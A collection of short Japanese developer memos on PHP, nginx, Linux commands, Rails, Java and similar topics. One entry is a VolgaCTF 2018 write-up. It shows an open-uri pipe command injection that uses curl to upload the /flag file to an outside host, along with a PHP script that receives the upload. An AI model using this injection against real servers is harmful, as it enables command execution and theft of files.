    $this->today = $today_int ;
  }

  public function doSomethingIfToday( $date_string )
  {
    if( Date( 'Y-m-d', strtotime( $date_string ) ) == Date( 'Y-m-d', $this->today ) ){
      // Do something...
    }
  }
```

ちなみに「今日」に限らず「時刻」を取得する手段は「アプリ専用の個別のモジュールにしてそれをコールするようにする」というのは常套手段で、**Ray.IdentityValueModule** にエレガントに実装されていたのでご紹介。
Laravelに強く依存しない（Carbonに依存しない）プロジェクトを目指すならこのような実装をするといいかもしれません。

https://github.com/ray-di/Ray.IdentityValueModule/blob/1.x/src/NowInterface.php

```NowInterface.php
namespace Ray\IdentityValueModule;

interface NowInterface
{
    public function __toString() : string;
    public function iso8601() : string;
}
```

ただし、toString でどんなフォーマットで返ってくるかがInterface見ててもわからない（制限できない）のが要注意ですね。
標準だとMySQLフォーマット `Y-m-d H:i:s` だけどサーバーによってタイムゾーンが違って日付がズレた（経験則）というハマリポイントに要注意です。



## 感想

Carbonすげぇ。もうこれを使わない理由がない。と思ったんですが、Qiitaに記事がなかったので僭越ながら穴埋め係させていただきました。

「時刻を取得」という機能は言語標準で一撃必殺な関数（date）がありますが、
だからこそ逆にそれを禁止して**アプリ固有の手法を開発者全員に守らせるのがもっとも重要**、
ということですねー（遠い目）。
起動時のStoryBoardを変更する

# 起動時のStoryBoardを変更する
`info.plist > Custom iOS Target Properties > Main storyboard file base name `の値を書き換える。
※IdentifierNameではなくファイル名を使って指定する。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/237101/8f858e44-15eb-a08c-2b9c-d50455a6e400.png)
ユーザ　グループ変更

### ユーザ変更
-Rは再帰的にするオプション

```
chown -R {ユーザ} フォルダ
```

### グループ変更

```
chown -R :{グループ} フォルダ
```

ユーザの確認は下記のファイルから行える。

```
cat /etc/passwd
```
コイン分配問題　JavaScriptでやってみた

#コイン分配問題とは
6人が均等にコインを所持し、2つのサイコロをふります。
サイコロ1の出目の人はコインを差し出し、サイコロ2の出目の人はそのコインを取得する。
これを繰り返すと、貧富の差が出るのだそうな。
https://scrapbox.io/prog-exercises/コイン分配問題

誰かのコインがゼロになるまで続けて、最終結果をコンソールに出力する、というのをjsでやってみました。

##ソースコード

```js:coint.js
const money = 100;//所持コイン数
let member = {
              "member_1" : money,
              "member_2" : money,
              "member_3" : money,
              "member_4" : money,
              "member_5" : money,
              "member_6" : money
            };
let endFlug = false;//ループ抜けるためのフラグ
const max = 6;//サイコロの出目max値
const min = 1;//サイコロの出目min値

//誰かが所持金ゼロになるまで繰り返し
while(endFlug === false){
    var deme1 = Math.floor(Math.random() * (max + 1 - min)) + min;//サイコロ1の出目
    var deme2 = Math.floor(Math.random() * (max + 1 - min)) + min;//サイコロ2の出目
    member["member_"+ deme1]--;//サイコロ1の出目の人はコインを差し出す
    member["member_"+ deme2]++;//サイコロ2の出目の人はそのコインをもらう

    for (let item in member){//誰かがゼロになった時の判定
      if (member[item] === 0) {
        console.log(item);//ゼロになった人を表示
        endFlug = true;//抜けるためのフラグをtrueに
      }
    }
}
console.log(member);//結果発表

```

以上です
PhpStormでdocker内のwebやbatchのphpをterminalから起動してデバッグしたい

# はじめに

PhpStormのリモートインタープリタにdocker-composeを選んで、デバッグ環境を整えた人向けの記事です。
[phpstormでphpスクリプトを実行デバッグしてみよう](https://qiita.com/albyte/items/2ddb7491ba2eb0ae53a7#phpstormでphpスクリプトを実行デバッグしてみよう)

GUIからdebug実行（下の虫）すると **docker-compose run** で実行してしまうと別コンテナになっちゃって、どうしても都合が悪い時とかありますよね。。
<img width="213" alt="xdebug" src="https://qiita-image-store.s3.amazonaws.com/0/68254/bf51df26-d660-2619-59af-a50de05f97f9.png">

だから、**docker-compose exec** でbatchを動かしたいんだけど、どやってデバッグすんねんって困ってませんか？

また、ブラウザから実行するんじゃなくて、terminal上からcURLでデバッグしたい時どうするんじゃいと困ってませんか？

そんな悩める希少なかたにお届けします。

# docker-compose exec で xdebug ON
こんな感じで ``-e XDEBUG_CONFIG=remote_connect_back=1``をつけてやるとxdebugの受話器をあげていればbreak pointで止まるようになります。

```bash
docker-compose exec \
-e XDEBUG_CONFIG=remote_connect_back=1 \
batch php /var/app/bin/executeHoge.php 
```
動かない場合は、全部入りで実行してちょっとずつけずってやりましょう。

```bash
docker-compose exec \
-e XDEBUG_CONFIG="remote_host=docker.for.mac.host.internal remote_enable=1 remote_connect_back=1" \
-e PHP_IDE_CONFIG="serverName=docker" \
batch php /var/app/bin/executeHoge.php 
```

# cURL で xdebug ON
こちらは、-b オプションでクッキーを食べさせるだけでいけるはずです。

```bash
curl -sk \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-d "{\"hoge\":\"fuga\"}" \
-b XDEBUG_SESSION=PHPSTORM \
"http://localhost:10080/api/hoge"
```

# おわりに
以上、自分用メモでした。。
セキュリティ設定の備忘録

react-reduxで作成する機会があたったのでそのサイトに対して行ったセキュリティ対策の備忘録。Webサーバにはnginxを使用。

## バージョン情報の非表示
バージョン情報をレスポンスヘッダとエラーページに表示させない
そのバージョンに脆弱性があることが分かった時に狙ってくださいと言っているようなものなので非表示にしましょう。

``` nginx.conf
server_tokens off;
```


## クリックジャッキング対策

``` nginx.conf
add_header X-Frame-Options SAMEORIGIN（もしくはDENY）;
```

この設定によりウェブページを他のサイトのページのiframeに呼び出さないようにウェブブラウザに指示することができる。

話がずれますが、add_headerは「現在のコンテキストにそのディレクティブがない時に限って上位のコンテキストで設定された値が継承される」ということに注意。


## XSS対策
今回のサイト作成は完全に学習目的だったので
https://github.com/leizongmin/js-xss/blob/master/lib/default.js
などをみつつ自分でやってみようと思っていたが、時間の関係でホワイトリスト形式のバリデーションにした。


次にブラウザ側のフィルタ機能を使用

``` nginx.conf
add_header X-XSS-Protection "1; mode=block";
```

1. 通常モード (非ブロックモード)	X-XSS-Protection: 1 (デフォルト)
2. ブロックモード	X-XSS-Protection: 1; mode=block
3. オフ	X-XSS-Protection: 0

XSSフィルタの設定。これはブラウザ側の機能です。サイト側にXSSの脆弱性がある場合、攻略されるリスクを減らしてくれるというものなので、しっかりとした対策はアプリケーション側でしましょう
アプリケーション側の設定が完全にできていればオフでも問題ないですが、アプリケーションにXSSがある疑いが強いならばブロックモードが最善のようです。

## XSSを含む幅広い攻撃の軽減
``` nginx.conf
Content-Security-Policy: default-src 'self'
```
設定したポリシーをWebブラウザに強制させることができる。
つまり、読み込み可能なリソースをホワイトリストで制限することで、悪意ある攻撃者によって予期しないリソースを読み込まされることを防ぐことができる。
上記だと「すべてのコンテンツを自身のドメイン（サブドメインを除く）から取得可能とする」となる。サブドメからの読み込みはできない。

また、デフォルトでは以下のポリシーが適応されるとのこと

- data: URLでのコンテンツの埋込
- ```<a href=’javascript:’>```のようなhtmlへのjavascriptの埋込
- onclickなどのインラインのイベント属性
- ```<script>```要素内のインラインスクリプト
- ```eval()``` での文字列コード```new Function()```コンストラクタ
- setInterval()ないでの文字列コード setTimeout()ないでの文字列コード
- ```<style>```要素でのCSSの設定インラインのstyle属性



インラインで```<script>```を使用したければ```script-src 'unsafe-inline'```をポリシーとして設定する必要がある。



## CSRF
JWTを使用してLocalStorageでトークンを管理することで対応（予定でした）
JWTは改竄不可能のトークンでlocalStorageに保持し、リクエスト時にAuthorizationヘッダに乗せてやります。
他者はトークンを入手することができないためCSRFを防ぐことができる。
ただし、トークンをcookieに入れると結局サーバに送られてしまうのでNG。


## content-typeの宣言回避
``` nginx.conf
add_header X-Content-Type-Options nosniff;
```

Webブラウザはサーバから送られてきたHTTPレスポンスに記述されている「Content-Type」に基づいて、HTTPレスポンスをどのように処理するのかを決定しています。しかしWebブラウザの中には、HTTPレスポンス全体を検査（sniffing）してコンテンツ タイプを判断し、「Content-Type」を無視した動作を行うものも存在します。このような実装はWebアプリケーション開発者の意図しない動作を引き起こし、セキュリティ上の問題につながるためそのsniffingを防止するための設定。


##参考
<a href="http://dekotech.dekokun.info/entry/2016/03/10/184304">nginxでproxy_hide_header, proxy_set_header, add_headerを書く時にはまりがちな罠 - でこてっくろぐ ねお</a>
https://www.mbsd.jp/blog/20160407_2.html
https://devcentral.f5.com/articles/7http
https://developer.mozilla.org/ja/docs/Web/HTTP/CSP
https://qiita.com/o_Ozzzzk/items/c505b7dd20707eb4ee08
psコマンドを勉強する

# はじめに
これまで`ps -ef`ぐらいしか使っていなかったpsコマンドの使い方を勉強しました。

# 用途別のお勧めコマンド

## 1. 全てのプロセスを表示したい
ps auxf |less

```
# ps auxf |less
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         2  0.0  0.0      0     0 ?        S     1月22   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S     1月22   0:17  \_ [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<    1月22   0:00  \_ [kworker/0:0H]
（以下略）
```

`ps -ef`や`ps aux`が有名です。今回両方試してみて、auxオプションの方が表示が自分好みだったので今後はaux派になろうと思いました。fオプションを追加することで、プロセス間の親子関係が表示されるようになります。
全てのプロセスを表示したい時は、結果を見てから何かを見つけたい、追加の調査をしたい、といったケースが多いと思いますので、lessに放り込むことで次の調査を楽にするのが良いと思います。

## 2. 特定のプロセス情報を表示させたい
`ps uf -C [プロセス名]`

```text
# ps uf -C zabbix_agentd
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
zabbix   23741  0.0  0.1  82740  1268 ?        S     2月18   0:00 /usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
zabbix   23742  0.0  0.1  82740  1356 ?        S     2月18  18:18  \_ /usr/sbin/zabbix_agentd: collector [idle 1 sec]
zabbix   23743  0.0  0.2  82864  2440 ?        S     2月18   5:01  \_ /usr/sbin/zabbix_agentd: listener #1 [waiting for connection]
zabbix   23744  0.0  0.2  82864  2440 ?        S     2月18   4:54  \_ /usr/sbin/zabbix_agentd: listener #2 [waiting for connection]
zabbix   23745  0.0  0.2  82864  2440 ?        S     2月18   4:56  \_ /usr/sbin/zabbix_agentd: listener #3 [waiting for connection]
zabbix   23746  0.0  0.2  82872  2212 ?        S     2月18   3:00  \_ /usr/sbin/zabbix_agentd: active checks #1 [idle 1 sec]
```

-Cオプションをつけることで、プロセス名を指定して情報を出力することができます。aやxオプションを付けると関係のないプロセスまで表示されてしまうので注意。また、このプロセス名は完全一致でないと駄目です。プロセス名の一部しか分かっていない場合（や自分の記憶が怪しい場合）には、`ps auxf |grep`などを使うしかないかもしれません。

## 3. 特定のプロセスが動いているかどうかだけを知りたい
`pgrep [プロセス名]`

```text:pgrep
# pgrep syslogd
494

# pgrep penguind

```

おまけです。pgrepは条件にマッチするプロセスのpidを返すコマンドです。この書式では正確には、「特定の文字を含むプロセスが動いているか」になります。動いていればpidが表示されます。上の例ではsyslogd（を含む）プロセスが1つ動いていること、penguind（を含む）プロセスが動いていないことが分かります。プロセス名が分かっていて動いているかどうかだけを知りたい時に使います。
これまでは`ps -ef |grep syslog`とやっていましたが、打鍵数が一気に減るので`pgrep`で良いと思います。`ps`から外れてしまいましたが、運用では便利そうです。
メッセージなど固定長の画面のスクロール

# やりたかったこと
ライン風のメッセージ画面を作りたい
- 固定長の画面を用意し、範囲外の部分はスクロールすることで見れるようになる。

以下コード

``` css
.box_srcollbar {
overflow:auto;
width:100%;
height:80vh;
background-color:transparent;
color:#000;
font-size:14px;
font-family: "Hiragino Maru Gothic Pro";
}
```
スクロールの設定自体は`overflow auto;`が担っている。
`overflow`は指定範囲を超える部分をどうするかという設定。
`auto`にすると基本的にはスクロールになる。`scroll`という設定もできる。

また、heightを`vh`にすることで画面サイズに応じてその80%の高さにしてくれるはず。
システムコールについて

# 1. システムコールとは

- ユーザーモードの各種プロセスがカーネル処理を呼び出す仕組みのこと
- プロセスは通常ユーザーモードで実行している。カーネル処理を依頼するためにシステムコールを発行すると、CPUにおいて割込みと言うイベントが発生する。
- システムコールの種類
 - プロセス生成・削除
 - メモリ確保・解放
 - プロセス間通信
 - ネットワーク操作
 - ファイルシステム操作
 - ファイル操作（デバイスアクセス）

# 2. straceコマンド
- プロセスが呼び出すシステムコールをトレースし、その内容を表示することができる。

[参考：strace コマンドの使い方をまとめてみた](http://blog.livedoor.jp/sonots/archives/18193659.html)

# 3. sarコマンド
- ユーザーモードとカーネルモードの割合を表示可能。
- それぞれのカラムの意味
 - CPU : 各コアの意味。下記例では4コア搭載されている。ALLは全コアの平均
 - %user : ユーザが利用しているCPU使用率
 - %nice : nice値を変更しているプロセスのCPU使用率
 - %system : システムが利用しているCPU使用率。**ここがカーネルモードの割合**
 - %iowait : IO待ちしているCPU使用率
 - %steal : ゲストOSが割り当て要求をしたが、割り当ててもらえなかったCPU使用率
 - %idle : 待機中のCPU使用率

##### 実行結果例
```
[root@m2aet101 ~]# sar -P ALL 1
Linux 3.10.0-229.el7.x86_64 (m2aet101)  2018年03月25日  _x86_64_        (4 CPU)

18時58分16秒     CPU     %user     %nice   %system   %iowait    %steal     %idle
18時58分17秒     all      0.50      0.00      0.00      0.00      0.00     99.50
18時58分17秒       0      1.00      0.00      0.00      0.00      0.00     99.00
18時58分17秒       1      1.00      0.00      0.00      0.00      0.00     99.00
18時58分17秒       2      0.00      0.00      0.00      0.00      0.00    100.00
18時58分17秒       3      0.99      0.00      0.99      0.00      0.00     98.02

18時58分17秒     CPU     %user     %nice   %system   %iowait    %steal     %idle
18時58分18秒     all      0.50      0.00      0.50      0.00      0.00     99.00
18時58分18秒       0      1.01      0.00      0.00      0.00      0.00     98.99
18時58分18秒       1      0.00      0.00      1.00      0.00      0.00     99.00
18時58分18秒       2      0.00      0.00      0.00      0.00      0.00    100.00
18時58分18秒       3      0.00      0.00      0.00      0.00      0.00    100.00
```
- 一概には言えないが、%systemが数10%くらいになっている場合は不要なシステムコールを発行していたり、システム負荷が高すぎる可能性があるため注意。

- straceに「-T」オプションを付けて実行することで各種システムコールの処理にかかった時間を表示可能。（単位：マイクロ秒）
[参考：Linux - sarコマンドについて](https://qiita.com/makaaso/items/6e27a2f0948241891667)
プロセス管理

# 1. fork()関数
- 同じプログラムの処理を複数のプロセスに分けて処理するために使用
- fork()を実行すると、発行元プロセス（親プロセス）を元に新たにプロセスを生成する（子プロセス）
- プロセス生成のイメージ
 1. 子プロセス用のメモリ領域を作成して、親プロセスのメモリをコピー
 2. 親プロセスと子プロセスは違うコードを実行するように分岐する。
 3. これには、fork()関数の戻り値が親プロセスと子プロセス間で異なることを利用する。
 4. 親プロセス側ではfork()の戻り値は子プロセスのPIDとなる。
 5. 子プロセス側ではfork()の戻り値は"0"となる。

# 2. exec()関数
- 全く別のプログラムを生成する場合に使用
- プロセス生成の流れ
  1. 実行ファイルを読み出して、プロセスのメモリマップに必要な情報を読み出す
  2. 現在のプロセスメモリを新しいプロセスのメモリデータで上書きする
  3. 新しいプロセスの最初の命令から実行開始する。
- つまりexec()を実行するとその実行元のメモリ情報は全て置き換えられる。

# 3. Fork-Exec
- Fork-Execは、Linuxで一般的に使われる手法であり、新たなプログラムをプロセスとして実行する。
- fork()によって子プロセスが親プロセスのコピーとして生成され、exec()を実行することで（子プロセス）自身の内容を置き換える。
- 子プロセスがexec()を呼び出すと、そのアドレス空間の内容は全て失われ、指定されたプログラムを実行するためのアドレス空間のマッピングが設定される。これをオーバーレイと呼ぶ。
- アドレス空間は全て置き換えられるが、オープン済みファイルのファイル記述子群は close-on-exec が指定されたときだけ exec()時に自動的にクローズされる。
- この特徴を利用して、fork()を呼び出す前にパイプを作成しておき、exec()で指定された新しいプログラムとの通信を行うというUNIX特有の手法が実現されている。
- 
[参考：fork, exec, pipe](http://d.hatena.ne.jp/incarose86/20110715/1310745881)
nginx IPアドレス制限

設定ファイルを開く。

```
$ sudo vim /etc/nginx/nginx.conf
```

locationディレクティブにallow,denyを追加する。

allowにアクセスを許可するIPアドレスを。あとは`deny all`で全てを拒否する設定にする。記述の上から評価されるため、allowに書いたIPアドレスだけを許可することになる。

```
location / {
    allow xxx.xxx.xxx.xxx;
    deny all;
}
```

nginxを再起動して設定を反映させる。

```
$ systemctl restart nginx
```
Is Eclipse IDE dying?

In 2014 the Eclipse IDE is the leading development environment for Java with a market share of approximately 65%. but according to a recent survey Eclipse IDE market share has dropped in 2017- 2018 to 40.5% from 65% in 2014.
![market-share.png](https://qiita-image-store.s3.amazonaws.com/0/245605/6e0a7a1c-8728-4c90-02cf-7cb80dc6a192.png)

## IntelliJ vs Eclipse
Currently, The Eclipse open source community is growing much bigger. it consists of more than 150 projects covering different aspects of software development.

## Users are switching to IntelliJ
In 2012 the  IntelliJ IDEA market share was approximately 28%. but according to a recent survey IntelliJ market share has increased in 2017 to 45% from 28% in 2012.

![IntelliJ-Java-IDE-market-landscape (1).jpg](https://qiita-image-store.s3.amazonaws.com/0/245605/71a60f32-1f0f-5d25-1b7b-4014b2ced573.jpeg)
Huge difference in the market share of Eclipse IDE & IntelliJ IDEA in 2012

## Eclipse vs IntelliJ Market share in 2017
![market-share (1).png](https://qiita-image-store.s3.amazonaws.com/0/245605/20dc232e-e3d9-bb66-0b56-a9abd555d5c9.png)

At the present, IntelliJ is growing much faster compared to eclipse.

Java is one of the most preferred programming languages and these  IDEs (IntelliJ & Eclipse ) are the best names when it comes to choosing the right platform, tools, libraries, plug-ins, and extensions for developing fully-functional Java apps for web and mobile. The final choice is ultimately yours, as each of these IDEs has their own advantages and unique features. If you are looking for a free, feature-rich and easy to use IDE, you should go with Eclipse as a free and official Java IDE else you can go with IntelliJ IDEA (choose the Best), both Eclipse and IntelliJ are strong choices for developers expecting enterprise level applications and a vast ecosystem. In the year 2018 IntelliJ looks more superior to Eclipse in terms of popularity.

we have published a full article comparing  [5 best java Ide You can read it by clicking here](https://www.dunebook.com/5-best-ide-for-java-development/)
Railsの.erbで条件によってclassを変更

条件によって表示するcssを変更しようとした時にハマりどころがあったので備忘録がてらメモ。
# 最初(if文の挙動を確認)
コード

```erb
<% if user.id == params[:id] %>
  hoge
<% else %>
  hogehoge
<% end %>
```

出力

`hogehoge`

※ちなみに

```erb
<%= user.id %> 
<%= params[:id]%>
```
上記の出力は同じ数字。


この条件式の書き方がどうも良くないらしい。

#対処 : find_byメソッドを使う

コード

```erb
<% if user.id == User.find_by(id: params[:id]).id %>
  hoge
<% else %>
  hogehoge
<% end %>
```

出力
`hoge`

#class分岐に応用
class分岐のためには以下のように書いた。

```erb
<div class="<%= "fizzbuzz" if user.id == User.find_by(id: params[:id]).id %>">
```

なんとかこれで動作することは確認できました。
VolgaCTF 2018 Quals writeup

自分はweb150のOld Goverment Siteしか解けませんでした。色々反省点しかないですがとりあえずwriteupを残します。

#### http://188.246.233.50:8080/page?id=2
#### で各ページが表示される

#### http://188.246.233.50:8080/a
#### 存在しないファイルにアクセスすると404のページでsinatraがつかわれているということがわかる。

<img width="775" alt="スクリーンショット 2018-03-26 0.47.22.png" src="https://qiita-image-store.s3.amazonaws.com/0/203937/ba080548-0647-2a92-4a38-f6a11b4d44ba.png">

#### http://188.246.233.50:8080/page?id[]=2
#### とするとバックトレースが表示される

<img width="1082" alt="スクリーンショット 2018-03-26 0.51.19.png" src="https://qiita-image-store.s3.amazonaws.com/0/203937/dfe51c42-db0a-26ad-6781-f97c47079ebd.png">

#### ここでid=18でpage18が表示されることに気づく
http://188.246.233.50:8080/page?id=18

<img width="1060" alt="スクリーンショット 2018-03-26 0.53.01.png" src="https://qiita-image-store.s3.amazonaws.com/0/203937/f67d54bc-0659-edb8-8b23-fbc6b4d5b4e7.png">

#### page18にはフォームがあってsiteの部分にURLを入力すると指定したURLにアクセスしてきた。
<img width="800" alt="スクリーンショット 2018-03-26 0.55.41.png" src="https://qiita-image-store.s3.amazonaws.com/0/203937/13846c75-51cf-1832-7285-fb8ef267f1dc.png">

#### 次は/flagと入力してみると読み込みに成功したが表示がされない。
#### flagを読み込んだりURLにアクセスしてきているコードの部分が見たかったので該当コードをうまいことバックトレースに該当コードを表示させる。
`http://188.246.233.50:8080/page`にPOSTでid[]=1とリクエストすることで表示できた
<img width="718" alt="スクリーンショット 2018-03-26 1.00.43.png" src="https://qiita-image-store.s3.amazonaws.com/0/203937/dcd346e7-4801-9803-a006-ba52db16979c.png">

#### flagを読み込んでその中身を指定したURLに送信できないか調べているとちょうどそんな記事があった。
https://sakurity.com/blog/2015/02/28/openuri.html

#### `|`を先頭に置くとOSコマンドインジェクションができるというもの
#### これを使ってcurlでファイルを送信すればflagが読めそう。
```bash
| curl -F file=@/flag http://example.com/file.php
```

#### 待ち受けサーバーのスクリプト

```php
<?php
$uploaddir = '/var/www/html/';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
file_put_contents('flag', $content);
```

`VolgaCTF{dedicated_to_all_goverment_site}`
javascriptでLEDを光らせる（ラズベリーパイで電子工作）

# はじめに
みなさんご存じだと思うのですが、javascriptと言えばWebページのなかでリアルタイムにDOMを表示したり隠したり、或いは、その裏側で何かしらの演算をおこなったりということをするものですよね。

それは、javascriptの機能のひとつである非同期処理というところに、もっとも特長的な部分が現れていると思うのですが、その感覚が実は、いわゆるリアルなモノだとかブツだとかを扱うのに向いているかもしれないという話をします。

例えば、javascriptよくやるような非同期処理には、ざっくりですけど思いつくのをかいつまんで説明すると、以下のようなものがあるかと思います。

## 非同期処理
- ボタンを押した → 何かしらの要素を表示する
- ボタンを押した → 何かしらの要素を隠す
- セットしたタイマーの時間になった → 何かしらの処理を実行する

これってよくよく考えてみると、リアルなモノに応用できそうです。
そうですね...、例えば、

- テレビのリモコンの電源ボタンを押した → テレビの画面が表示される
- もう一度テレビのリモコンの電源ボタンを押した → テレビの画面が消される
- セットしておいた炊飯器が、いいタイミングで加熱処理を完了する

などなど。ここで挙げた例は、どれも非同期処理と呼べそうです。

つまりリアルなモノはjavascriptで扱いやすいのではないか。という仮説が成立しそうです。

# というわけで、初歩的な電子工作でそれをやってみます。

細かいことは省略してしまうのですけど、まずは以下の2つの画像をご覧ください。ラズベリーパイという小さなコンピュータ（マイコン）を使って、こういうことをやってみました。

取り急ぎ、ラズベリーパイに緑と黄色のLEDを接続してみます。

![IMG_20180323_215827.jpg](https://qiita-image-store.s3.amazonaws.com/0/213763/37318124-3989-c6b7-53d9-049d60b39f0f.jpeg)

そして、これらのモノ(LED)に対して、javascriptを使ってチカチカせよという命令を送ります。
で、その命令を受けてLEDが光ります。以下のような感じです。

![スクリーンショット 2018-03-26 0.55.03.png](https://qiita-image-store.s3.amazonaws.com/0/213763/f030898c-ad46-dff6-fdb1-f26e775cf0e5.png)


こんな感じです。

というわけで唐突ではあるのですが、どんなものかということで、javascriptで書いたコードを貼り付けておきます。
詳しい解説は、余力あるときに改めておこないたいと思います。

```js:index.js
const raspi = require('raspi');
const gpio = require('raspi-gpio');
const sleep = require('sleep');

const GREEN = new gpio.DigitalOutput('GPIO14');
const YELLOW = new gpio.DigitalOutput('GPIO21');

/**
 * LED点滅のパターンを指定して実行します。
 * @param {object} output gpio.DigitalOutput
 * @param {number} times 点滅回数
 * @param {number} interval 点滅間隔(ミリ秒)
 */
const chika = (output, times, interval) => {
  for(let i = 0; i < times; i++) {
    output.write(gpio.HIGH);
    sleep.msleep(interval);

    output.write(gpio.LOW);
    sleep.msleep(interval);
  }
};

/**
 * ラズパイ実行します。 
 */
raspi.init(() => {
  while(true) {
    chika(GREEN, 3, 500);
    chika(YELLOW, 3, 500);
    sleep.msleep(2000);

    chika(GREEN, 5, 200);
    sleep.msleep(500);

    chika(YELLOW, 5, 200);
    sleep.msleep(1000);
  }
});
```

これで緑と黄色のLEDが指定したルールにもとづいて光ります。
本日はここまでです。おつかれさまでした。
MyBatis:SELECT結果を詰めるクラスに、デフォルトコンストラクタがなくてもOK



# 環境
* Java8
* Spring Boot 1.5.9
* mybatis-spring-boot-starter: 1.3.1
    - mybatis: 3.4.5
* MyBatis
* Postgres9.6


# やりたいこと
`lesson`テーブルの内容をSELECT文で取得したいです。


```sql:create_table.sql
CREATE TABLE public.lesson
(
  student_id integer NOT NULL DEFAULT nextval('lesson_student_id_seq'::regclass),
  lesson_name text NOT NULL,
  CONSTRAINT lesson_pkey PRIMARY KEY (student_id, lesson_name)
)
WITH (
  OIDS=FALSE
);
ALTER TABLE public.lesson
  OWNER TO postgres;
```


```xml:SqlMapper.xml
    <select id="selectLesson" resultType="com.example.demo2.mybatis.domain.Lesson">
		SELECT
		  student_id AS studentId
		  ,lesson_name AS lessonName
		FROM lesson
    </select>
```


```java:Lesson.java
@Data //lombok annotation
public class Lesson {

	private int studentId;

	private String lessonName;

}
```


```java:StudentDao.java
@Component
public class StudentDao {
	@Autowired
	public SqlSession sqlSession;

	public List<Lesson> selectLessonList() {
		return sqlSession.selectList("selectLesson");
	}
}
```

`StudentDao`クラスの`selectLessonList`メソッドを呼び出せば、`lesson`テーブルの中身を取得できます。

やりたいことは実現できました。。。

# SELECT結果を詰めるクラスについて

SELECT結果を詰める`Lesson`クラスですが、以下のようにデフォルトコンストラクタがなくても、問題ありません。


```java:Lesson.java
@Data //lombok annotation
public class Lesson {

	private int studentId;

	private String lessonName;

	public Lesson(int studentId, String lessonName) {
		this.studentId = studentId;
		this.lessonName = lessonName;
	}
}
```

デフォルトコンストラクタが必ず必要だと勘違いしていたので、メモとして残しておきます。
Array#compact, Hash#compact

`Array#compact`と`Hash#compact`はいずれも値が`nil`だったらそれを弾いた配列またはハッシュを返してくれるメソッド。~~（ruby2.4から入ったメソッド？）~~

```
["a", nil, "b"].compact #=> ["a","b"]
{a: 'hoge', b: nil, c: 'fuga'}.compact #=> {:a => 'hoge', :c => 'fuga'}
["a", nil, "b"].compact! #=> ["a","b"]
{a: 'hoge', b: nil, c: 'fuga'}.compact! #=> {:a => 'hoge', :c => 'fuga'}

["a", "b"].compact! #=> nil
{a: 'hoge', c: 'fuga'}.compact! #=> nil

# 当たり前だけど全部nilだったら、空を返す
[nil, nil, nil].compact! #=> []
```

#### 遭遇した利用用途
とあるメソッドの処理途中で、別メソッドの返り値に配列が返ってきて、その配列の中身が無かったら（`array.empty?`）次の処理を中断するみたいな処理があった。
でも、この返り値に配列の中身は**全てnilになる可能性もあったことが後から分かる**。
つまり`[nil, nil, nil]`みたいな状態。これ、`[nil, nil, nil].empty?`ってしても、`false`が返ってしまうので、配列の中身が空ということを判定できない。。。
そこで`compact!`。

```
array = Class.hoge #=> なんか配列返すメソッド
array.compact! #=> ここでnilがあったら、nilを弾く
fuga(array) unless array.empty?　# 配列が空じゃなければ、引数に渡して実行
```
こんな感じ。`[nil,nil,nil]`だったら、`[]`になるわけ。
**nilを許容している配列とかハッシュを扱う時に、nilが値に入って良いのか確認して、ダメそうならこのメソッドで弾けそう！！便利！！！**と思ったので備忘録

#### 参考資料
[るりま](https://docs.ruby-lang.org/ja/search/query:compact/)
Jupyter notebook でTikzの練習する

TeXで図形を描くTikzの練習をJupyter notebookでするための設定。

# mac でのインストール
jupyter notebook, TeX はインストールしてある。

TeX は homebrew でインストール。
`brew cask install basictex`
その他，[TeXwiki](https://texwiki.texjp.org/?TeX%20Live%2FMac) を参考に設定

Jupyter notebook は
http://jupyter.org/install
の手順で。

```
python3 -m pip install --upgrade pip
python3 -m pip install jupyter
```

Jupyter notebook で Tikz を使うために ipython-tikzmagic を入れる
https://github.com/mkrphys/ipython-tikzmagic

```
$ pip3 install git+git://github.com/mkrphys/ipython-tikzmagic.git
$ sudo tlmgr install standalone
$ brew install imagemagick
```

他に使用するものがあればその都度入れる

```
$ sudo tlmgr install tikzpeople
```


# Jupyter での作業

```py
%load_ext tikzmagic
```
使用するセル先頭に`%%tikz`を入力

```
%%tikz
\draw (0,0) -- (2,1);
```

パッケージを使用する際は `-p パッケージ`で指定。 TikZのライブラリは `-l ライブラリ` で指定。

ファイルに書き出す際は `-S ファイル名` で指定。


```
%%tikz -p tikzpeople -S people.png
\draw [help lines] (0,0) grid (10,6);
\node [alice, minimum size=1.5cm] (alice) at (1,2) {alice};
\node [person, minimum size=1.5cm, right=of alice] (person) {person};
\node [dave, minimum size=1.5cm, above=of alice] (dave) {dave};
\node [dave, saturated, mirrored, minimum size=1.5cm, above right=of alice] (dave2) {dave2};
\node [businessman, minimum size=1.5cm, right=of dave2, name=biz] {businessman};
\node [businessman, evil, female, good, mirrored, monitor, shield, sword, name=allop, minimum size=1.5cm, right=of biz] {all options};
\node [businessman, hair=gray, skin=pink, undershirt=blue, shirt=yellow, tie=red, minimum size=1.5cm, below=of biz, name=biz2] {w/colors};
```

TeXファイルの作成・コンパイルを自動でやってくれます。

![people.png](https://qiita-image-store.s3.amazonaws.com/0/242007/fd1cc75b-dfaf-00f6-ad28-53a0ce3ed349.png)


tikzpeople の人の絵をよく見かけていて，どこにあるんだろうと思っていたので，発見したのが嬉しくて描いてみました。
ベイズ推定とグラフィカルモデルを受講して思ったこと  1  (DeepLearning)

DeepLearning、協調フィルタリング等をtensorflowで実装したり、少しずつ勉強してます。
[ComputerVision](https://www.amazon.com/Computer-Vision-Models-Learning-Inference/dp/1107011795/ref=sr_1_1?s=books&ie=UTF8&qid=1334662414&sr=1-1
)という本について、Umedyで[ベイズ推定とグラフィカルモデル](https://www.udemy.com/computervision/learn/v4/overview)という講義を[Toru Tamaki推教授](http://home.hiroshima-u.ac.jp/tamaki/index-j.html)が無料実施されているので受講しました。

# 思ったこと
1. この本の機械学習では、推論したい対象を確立的な構造で表して、（単純な構造から複雑な構造、それをさらに部分的に単純にして）、パラメータの最適値を計算している。
2. 構造を人間が考えるからDLより分かりやすい
3. DLで学習後できたモデルは、ベイズ推定とグラフィカルモデルと同じような構造がありえる。> つまりDLの構造を理解するのにこれは役立つ。
4. より複雑なものは、DLでないと無理なレベルである＞DLのほうが精度が高くなる

